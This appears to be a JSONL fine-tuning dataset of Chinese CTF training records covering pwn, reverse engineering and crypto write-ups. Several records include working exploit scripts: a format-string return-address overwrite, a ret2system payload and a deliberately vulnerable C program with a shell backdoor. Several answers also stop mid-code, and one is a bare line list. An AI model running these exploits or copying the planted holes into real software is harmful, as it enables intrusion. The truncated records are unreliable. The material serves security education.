good_game()\n{\n  FILE *v0; // rbx\n  int result; // eax\n  char buf[9]; // [rsp+Fh] [rbp-9h] BYREF\n\n  v0 = fopen(\"flag.txt\", \"r\");\n  while ( 1 )\n  {\n    result = fgetc(v0);\n    buf[0] = result;\n    if ( result == 0xFF )\n      break;\n    write(1, buf, 1uLL);\n  }...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::5feade36747acc51", "original_line": 636, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "jarvisojtellmesomething", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "5feade36747acc51", "source_split": "train", "split": "train", "split_group_key": "013bfd73522aa4a97d481f0e", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-5debe82aca9b587ea430", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“[HZNUCTF 2023 preliminary]ffmt”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“[HZNUCTF 2023 preliminary]ffmt”。\n语言/类型：python\n关联知识点：\n- 第一个格式化字符串漏洞用来泄露栈地址，第二个格式化字符串函数修改返回地址最后一字节为 0x23 令其跳转到后门函数执行\n代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\n\nsa(b'name: \\n', b'%6$p')\nru(b'0x')\n\nstack = int(r(12), 16)\nret = stack - 0x108\nr()\ns(b'%35c%8$hhnaaaaaa' + p64(ret))\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "validation", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::validation::distilled_training_data::validation::ef729b041e7135e5", "original_line": 108, "original_split": "validation", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "[HZNUCTF 2023 preliminary]ffmt", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/valid.jsonl", "source_path": "", "source_record_id": "ef729b041e7135e5", "source_split": "validation", "split": "train", "split_group_key": "e34971843df67a166c653f83", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-5e3115281858b3709d71", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Hash 类算法》的“[SUCTF 2018 招新赛]hash”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Hash 类算法 / [SUCTF 2018 招新赛]hash\n关键词：md5、v18、MD5、SUCTF、result、sub_4011A0、Buffer、SUCTF{、i&1==0、i&1\n蒸馏要点：\n- ida 反编译分析。看到了主函数中的 flag 前缀，下面使用 findcrypt 分析算法。\n- 使用 findcrypt 后我们搜索到了程序中的 MD5 常量，可以判断程序使用的是 MD5 算法。\n- 结合上面信息分析程序代码逻辑。\n- 程序要求输入字符的前 6 个字符为`SUCTF{`，最后一个字符为`}`。`sub_4011A0`函数使用了 MD5 的常量，应该是加密函数。最后将结果存到`v18`，因为下面的代码疑似以两位十六进制打印了`v18`变量，这可能是存在函数返回值的变量。\n- 下面有一个用于判断的 MD5 值，与其判断的`Buffer`在与其判断之前。将符合`i&1==0`条件的字符跟 1 进行了异或，`i&1`即结果是偶数位的字符，所以我们爆破它之前需要跟 1 再次进行异或。\n- 然后我们可以先在 md5 查询网站查询。\n- 查询结果为：`birthday`。\n可用于训练的标准回答：\n### [SUCTF 2018 招新赛]hash\n\n- 分析\n\nida 反编译分析。看到了主函数中的 flag 前缀，下面使用 findcrypt 分析算法。\n\n使用 findcrypt 后我们搜索到了程序中的 MD5 常量，可以判断程序使用的是 MD5 算法。\n\n结合上面信息分析程序代码逻辑。\n\n程序要求输入字符的前 6 个字符为`SUCTF{`，最后一个字符为`}`。`sub_4011A0`函数使用了 MD5 的常量，应该是加密函数。最后将结果存到`v18`，因为下面的代码疑似以两位十六进制打印了`v18`变量，这可能是存在函数返回值的变量。\n\n下面有一个用于判断的 MD5 值，与其判断的`Buffer`在与其判断之前。将符合`i&1==0`条件的字符跟 1 进行了异或，`i&1`即结果是偶数位的字符，所以我们爆破它之前需要跟 1 再次进行异或。\n\n写出逆向脚本：\n\n```python\nmd5=\"bf772f6ed89838b9gb9f7abf3cc09413\"\nmd5=list(md5)\nfor i in range(len(md5)):\n\tif i&1 == 0:\n\t\tmd5[i]=chr(ord(md5[i])^1)\nresult=\"\".join(md5)\nprint(result)\n#cf673f7ee88828c9fb8f6acf2cb08403\n```\n\n然后我们可以先在 md5 查询网站查询。\n\n查询结果为：`birthday`。\n\n接下来我们继续逆向剩下的代码程序。\n\n将加密后的`buffer`与 md5 密文进行比较，如果相等则执行第二个`if`语句部分的代码。\n\n下面我们跟进分析`sub_401A90`函数。\n\n分析函数代码，首先将取输入的长度。然后以输入长度为界限进行迭代处理。将每个字符根据下标进行`i*2+1`偏移。`i`就是字符串的下标。\n\n根据代码逻辑，对比较的字符串进行逆向处理。\n\n```python\nenc=\"`ut9t;\"\nresult=\"\"\nfor i in range(len(enc)):\n\tn=i*2+1\n\tresult+=c...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "crypto", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::2e2bb658bfa1fdf5", "original_line": 881, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "[SUCTF 2018 招新赛]hash", "source": "Hash 类算法.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "2e2bb658bfa1fdf5", "source_split": "train", "split": "train", "split_group_key": "8459e9f282082d25e32b30fa", "tags": ["reverse", "crypto", "ctf-method"], "title": "Hash 类算法", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-5f3d4852e2fd7c3de9a7", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“脚本”？请用《AES》中的内容回答。", "role": "user"}, {"content": "1. def _16bytes2num(cls, _16bytes):\n2. return int.from_bytes(_16bytes, byteorder='big')\n3. def num_2_16bytes(cls, num):\n4. return num.to_bytes(16, byteorder='big')\n5. def aes_encrypt(self, plaintext_list, RoundKeys):\n6. State = plaintext_list", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 3, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["crypto", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::343799e4c300afe4", "original_line": 887, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "脚本", "source": "AES.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "343799e4c300afe4", "source_split": "train", "split": "train", "split_group_key": "45ab70f8df341b6490e67cfd", "tags": ["crypto", "ctf-method"], "title": "AES", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-5f747e66e6b95e44e647", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《花指令：原理：反汇编算法的设计缺陷》的“实现”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：花指令：原理：反汇编算法的设计缺陷 / 实现\n关键词：ebx、rbx、- **gcc 编译器实现**、很明显，先对、进行、之后，再进行、比较，、标志位肯定为1，就肯定执行跳转 s1，也就是说中间、永远不会执行。\n\n不过这种一定要注意：记着保存、的值先把\n蒸馏要点：\n- **msvc 编译器实现**\n- **gcc 编译器实现**\n- 很明显，先对`ebx`进行`xor`之后，再进行`test`比较，`zf`标志位肯定为1，就肯定执行跳转 s1，也就是说中间`0xC7`永远不会执行。\n- 不过这种一定要注意：记着保存`ebx`的值先把`ebx`压栈，最后在`pop`出来。\n- 解混淆的时候也需要稍加注意，需要分析一下哪里是哪里是真正会跳到的位置，然后将垃圾数据`nop`掉，本质上和前面几种没什么不同。\n可用于训练的标准回答：\n#### 实现\n\n- **msvc 编译器实现**\n\n```c\n#include\nint main(){\n\t__asm{\n\t\tpush ebx;\n\t\txor ebx,ebx;\n\t\ttest ebx,ebx;\n\t\tjnz s1:\n\t\tjz  s2:\n\ts1\n\t\t_emit 0xe9;\n\ts2:\n\t\tpop ebx;\n\t}\n\tprintf(\"hello world!\\n\");\n\treturn 0;\n}\n```\n\n- **gcc 编译器实现**\n\n```c\n#include\n\nint main() {\n    printf(\"Before jump and emit instructions\\n\");\n\n    // 插入花指令\n    __asm__ __volatile__ (\n        \"pushq %rbx\\n\\t\"        // 跳转指令\n        \"xor %rbx,%rbx\\n\\t\"       // 跳转指令\n        \"test %rbx,%rbx\\n\\t\"   // 插入字节0xC7\n        \"jz s1\\n\\t\"\n        \"jnz s2\\n\\t\"\n        \"s1:\\n\\t\"\n        \".byte 0xc7\\n\\t\"\n        \"s2:\\n\\t\"\n        \"popq %rbx\\n\\t\"\n    );\n\n    printf(\"hello world!\\n\");\n    return 0;\n}\n\n```\n\n很明显，先对`ebx`进行`xor`之后，再进行`test`比较，`zf`标志位肯定为1，就肯定执行跳转 s1，也就是说中间`0xC7`永远不会执行。\n\n不过这种一定要注意：记着保存`ebx`的值先把`ebx`压栈，最后在`pop`出来。\n\n解混淆的时候也需要稍加注意，需要分析一下哪里是哪里是真正会跳到的位置，然后将垃圾数据`nop`掉，本质上和前面几种没什么不同。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::07c6c09a171c6384", "original_line": 760, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "实现", "source": "花指令.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "07c6c09a171c6384", "source_split": "train", "split": "train", "split_group_key": "fd4f61d8b8f57ab91416358c", "tags": ["pwn", "reverse"], "title": "花指令：原理：反汇编算法的设计缺陷", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-5f876328f89c5422b3bf", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“[[NISACTF 2022]UAF]”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“[[NISACTF 2022]UAF]”。\n语言/类型：shell\n关联知识点：\n- [[NISACTF 2022]UAF]\n- 题型：存在函数指针\n- 发现为32位程序，并且没有`PIE`保护。\n- 分析`main`函数\n- 分析主函数发现为经典菜单程序，通过选择执行相应的功能函数。\n代码片段：\n```shell\n➜  [NISACTF 2022]UAF checksec ./pwn\n    Arch:     i386-32-little\n    RELRO:    Partial RELRO\n    Stack:    Canary found\n    NX:       NX enabled\n    PIE:      No PIE (0x8048000)\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::42a8198c7eac9b34", "original_line": 883, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "[[NISACTF 2022]UAF]", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "42a8198c7eac9b34", "source_split": "train", "split": "train", "split_group_key": "d3172c8c8166f4212dbeaf06", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-5fb52a380c06aecee192", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“计算相对偏移”？请用《Pwn：Stack》中的内容回答。", "role": "user"}, {"content": "1. relative_offset = target_address - current_address  # 减去 jmp 指令的字节数\n2. print(f\"Relative offset: {relative_offset:#x}\")  # 打印相对偏移\n3. shellcode = asm(f\"\"\"\n4. jmp $+{relative_offset}\n5. print(f\"Shellcode length: {len(shellcode)}\")\n6. payload = shellcode", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::e243af9bd4c090a2", "original_line": 1085, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "计算相对偏移", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "e243af9bd4c090a2", "source_split": "train", "split": "train", "split_group_key": "f2fc1ebc00ca170fa42355f0", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-609bfbb77a2f726b1823", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《2025强网杯 Qclac》的“processDeeplinkExpression”部分，提炼一条适合 SFT 的中文技术讲解样本（第 6 段）。", "role": "user"}, {"content": "出处：2025强网杯 Qclac / processDeeplinkExpression（第 6 段）\n关键词：input、view、View、button、String、tag、public、Button、operator、handleIntent 会判断 Action 并取出其中的\n蒸馏要点：\n- 数字按钮点击事件。\n- 把按下的数字追加到当前输入字符串。\n- public void onDigit(View view) {\n- Button button = (Button) view;\n- this.input += button.getText().toString(); // 累积数字\n- this.tvInput.setText(this.input);          // 更新显示\n- 运算符按钮点击事件。\n可用于训练的标准回答：\n/**\n     * 数字按钮点击事件。\n     * 把按下的数字追加到当前输入字符串。\n     */\n    public void onDigit(View view) {\n        Button button = (Button) view;\n        this.input += button.getText().toString(); // 累积数字\n        this.tvInput.setText(this.input);          // 更新显示\n    }\n\n/**\n     * 运算符按钮点击事件。\n     * 保存当前输入为第一个操作数，并记录运算符。\n     */\n    public void onOperator(View view) {\n        if (this.input.isEmpty()) {\n            return;\n        }\n        Button button = (Button) view;\n        this.firstNum = Double.parseDouble(this.input); // 保存输入数字\n        String tag = (String) button.getTag();          // 按钮可能通过 tag 指定运算符\n        if (tag != null && !tag.isEmpty()) {\n            this.operator = tag;\n        } else {\n            this.operator = button.getText().toString();\n        }\n        this.input = \"\"; // 清空输入框准备接收第二个数字\n    }\n\n/**\n     * “清空”按钮事件。\n     * 重置所有状态。\n     */\n    public void onClear(View view) {...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 5, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "validation", "labels_normalized": ["pwn", "crypto", "web", "ctf-method", "ctf"], "original_id": "chatml::validation::distilled_training_data::validation::103d6f0c2ca0864a", "original_line": 71, "original_split": "validation", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "processDeeplinkExpression", "source": "2025强网杯 Qclac.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/valid.jsonl", "source_path": "", "source_record_id": "103d6f0c2ca0864a", "source_split": "validation", "split": "train", "split_group_key": "6c849a1e4195821ba758c62d", "tags": ["pwn", "crypto", "web", "ctf-method"], "title": "2025强网杯 Qclac", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-618fcd38d611e8d11d64", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“[WUSTCTF 2020]getshell2”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / [WUSTCTF 2020]getshell2\n关键词：eip、p32、system、p32(system_plt) + p32(0) + p32(str_binsh)、p32(call_system) + p32(str_sh)、python\np32(system_plt) + p32(0) + p32(str_binsh)、当使用、指令时，、指令本身会自动将当前的eip压栈。所以我们可以直接跟参数，而不需要手动压入一个返回地址、python\np32(call system)+p32(str_binsh)\n蒸馏要点：\n- `p32(system_plt) + p32(0) + p32(str_binsh)` 可以替换成 `p32(call_system) + p32(str_sh) `\n- `eip`寄存器指向当前正在执行的指令。当我们调用一个函数时，当前的 `eip` 值会被压栈，这样在函数执行完毕后，程序可以通过弹出栈顶的 `eip` 值继续执行之前的指令。\n- 由于我们手动调用 `system` ，我们是没有将返回地址压栈的，栈中是没有返回地址的，会导致栈错误\n- 当使用`call system`指令时，`call`指令本身会自动将当前的eip压栈。所以我们可以直接跟参数，而不需要手动压入一个返回地址\n- 在 linux 中，/bin/sh 是二进制文件，而 sh 是环境变量，相当于执行 /bin/sh\n可用于训练的标准回答：\n### [WUSTCTF 2020]getshell2\n\n#sh #callsystem\n\n`p32(system_plt) + p32(0) + p32(str_binsh)` 可以替换成 `p32(call_system) + p32(str_sh) `\n\n原理\n\n`eip`寄存器指向当前正在执行的指令。当我们调用一个函数时，当前的 `eip` 值会被压栈，这样在函数执行完毕后，程序可以通过弹出栈顶的 `eip` 值继续执行之前的指令。\n\n由于我们手动调用 `system` ，我们是没有将返回地址压栈的，栈中是没有返回地址的，会导致栈错误\n```python\np32(system_plt) + p32(0) + p32(str_binsh)\n```\n\n当使用`call system`指令时，`call`指令本身会自动将当前的eip压栈。所以我们可以直接跟参数，而不需要手动压入一个返回地址\n```python\np32(call system)+p32(str_binsh)\n```\n\n在 linux 中，/bin/sh 是二进制文件，而 sh 是环境变量，相当于执行 /bin/sh\n\n- **exp**\n\n```python\nfrom pwn import *\n\nio=process(\"./service\")\n#io=remote(\"node5.anna.nssctf.cn\",25392)\ncontext(log_level=\"debug\",arch=\"i386\")\noffset=28\n\nsh=0x08048670\nsystem=0x08048529\npayload=b'a'*offset+p32(system)+p32(sh)\n\nio.send(payload)\n\nio.interactive()\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "validation", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::validation::distilled_training_data::validation::ea3273be48bb635f", "original_line": 74, "original_split": "validation", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "[WUSTCTF 2020]getshell2", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/valid.jsonl", "source_path": "", "source_record_id": "ea3273be48bb635f", "source_split": "validation", "split": "train", "split_group_key": "2a09c6758d6f76713df0e347", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-61fe652e480afff5922d", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Angr：Angr符号执行》中“延迟求解”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Angr：Angr符号执行》的“延迟求解”。\n语言/类型：python\n关联知识点：\n- angr 会判断路径条件是否满足，有时候这样很影响效率，我们可以设置 angr 使其找到 State 之后再进行求解\n代码片段：\n```python\nstate.options |= {angr.options.LAZY_SOLVES}\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "test", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::test::distilled_training_data::test::8039e39ba9d4dd86", "original_line": 38, "original_split": "test", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "延迟求解", "source": "Angr.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/test.jsonl", "source_path": "", "source_record_id": "8039e39ba9d4dd86", "source_split": "test", "split": "train", "split_group_key": "cc1f277d242889ed26ec6163", "tags": ["reverse"], "title": "Angr：Angr符号执行", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-627101ae0aabe74b667b", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“劫持stackchkfail函数”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“劫持stackchkfail函数”。\n语言/类型：c\n关联知识点：\n- `canary`检测失败会调用`__stack_chk_fail`函数，可以通过比如格式化字符串漏洞修改 got 表中对应`__stack_chk_fail`的位置为后门函数的地址来实施攻击。\n代码片段：\n```c\n#include\n#include\n#include\n#include\n\nvoid backdoor() {\n    puts(\"this is a backdoor.\");\n    system(\"/bin/sh\");\n}\n\nvoid vuln() {\n    char buf[0x100];\n    puts(\"please input:\");\n    read(0, buf, 0x110);\n    printf(buf);\n}\n\nint main() {\n    setbuf(stdin, NULL);\n    setbuf(stdout, NULL);\n    vuln();\n    return 0;\n}\n// 编译命令：gcc pwn.c -o pwn -no-pie -Wl,-z,lazy -g\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::3d5c0b5b6fd1c18e", "original_line": 733, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "劫持stackchkfail函数", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "3d5c0b5b6fd1c18e", "source_split": "train", "split": "train", "split_group_key": "94e947f2b79199df7bfeae9a", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-629b27aa6f61be270703", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《SMC自修改代码》的“[FLAG_REDACTED]”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：SMC自修改代码 / [FLAG_REDACTED]\n关键词：flag、encrypt、enc、key、0x0000000D、0x00000006、0x00000057、试了一下，这个 flag 是假的。\n\n接下来继续逆向 SMC 部分。\n\n可以看到程序对、函数进行了逐字节异或，解密、函数。\n\n我们这里就使用静态解密法来编写 idapython 代码解密\n蒸馏要点：\n- import idc\n- addr = 0x401500  # encrypt函数的地址\n- for i in range(187):\n- b = get_bytes(addr + i, 1)\n- idc.patch_byte(addr + i, ord(b) ^ 0x41)\n- key='hahahaha_do_you_find_me?'\n- enc=[0x0000000E, 0x0000000D, 0x00000009, 0x00000006, 0x00000013, 0x00000005, 0x00000058, 0x00000056, 0x0000003E, 0x00000006, 0x0000000C, 0x0000003C, 0x000000...\n可用于训练的标准回答：\n# [FLAG_REDACTED]\n\n```\n\n试了一下，这个 flag 是假的。\n\n接下来继续逆向 SMC 部分。\n\n可以看到程序对`encrypt`函数进行了逐字节异或，解密`encrypt`函数。\n\n我们这里就使用静态解密法来编写 idapython 代码解密`encrypt`函数。\n\n- idapython解密脚本\n\n根据解密`encrypt`函数逻辑编写 idapython 解密脚本。\n\n```python\nimport idc\naddr = 0x401500  # encrypt函数的地址\nfor i in range(187):\n\t#获取地址字节,1代表一个字节\n    b = get_bytes(addr + i, 1)\n    #修改地址内存的字节\n    #第一个参数为指定地址，第二个参数为修改后的值\n    idc.patch_byte(addr + i, ord(b) ^ 0x41)\n```\n\n然后运行 idapython脚本，这里前面讲过了。\n\n接下来我们修复解密后的`encrypt`函数代码。\n\n从函数开始处开始按快捷键`u`将所有指令设置为无定义。\n\n然后在函数开头处按快捷键`c`将所有数据内容转换为代码。\n\n最后在函数开始处按快捷键`p`定义为函数。\n\n然后就可以`F5`反编译了。\n\n继续分析代码逻辑，`encrypt`函数的参数是存储输入内容的变量。\n\n`encrypt`函数将输入与`Buffer`变量存储的内容进行逐字节异或，如果最后的结果不等于密文则报错。\n\n我们跟进查看`Buffer`变量的内容，可以看到是`wrong`函数中输出的字符串。\n\n我们根据代码逻辑，将密文与`Buffer`变量进行逐字节异或运算后即可得出符合的输入。\n\n根据逻辑编写解密代码。\n\n- exp\n\n```python\nkey='hahahaha_do_you_find_me?'\nenc=[0x0000000E, 0x0000000D, 0x00000009, 0x00000006, 0x00000013, 0x00000005, 0x000000...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "crypto", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::b59f8b695fe28c36", "original_line": 821, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "flag{fak3alw35spme!!}", "source": "SMC自修改代码.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "b59f8b695fe28c36", "source_split": "train", "split": "train", "split_group_key": "b869a53b2b885032daaa37f0", "tags": ["reverse", "crypto", "ctf-method"], "title": "SMC自修改代码", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
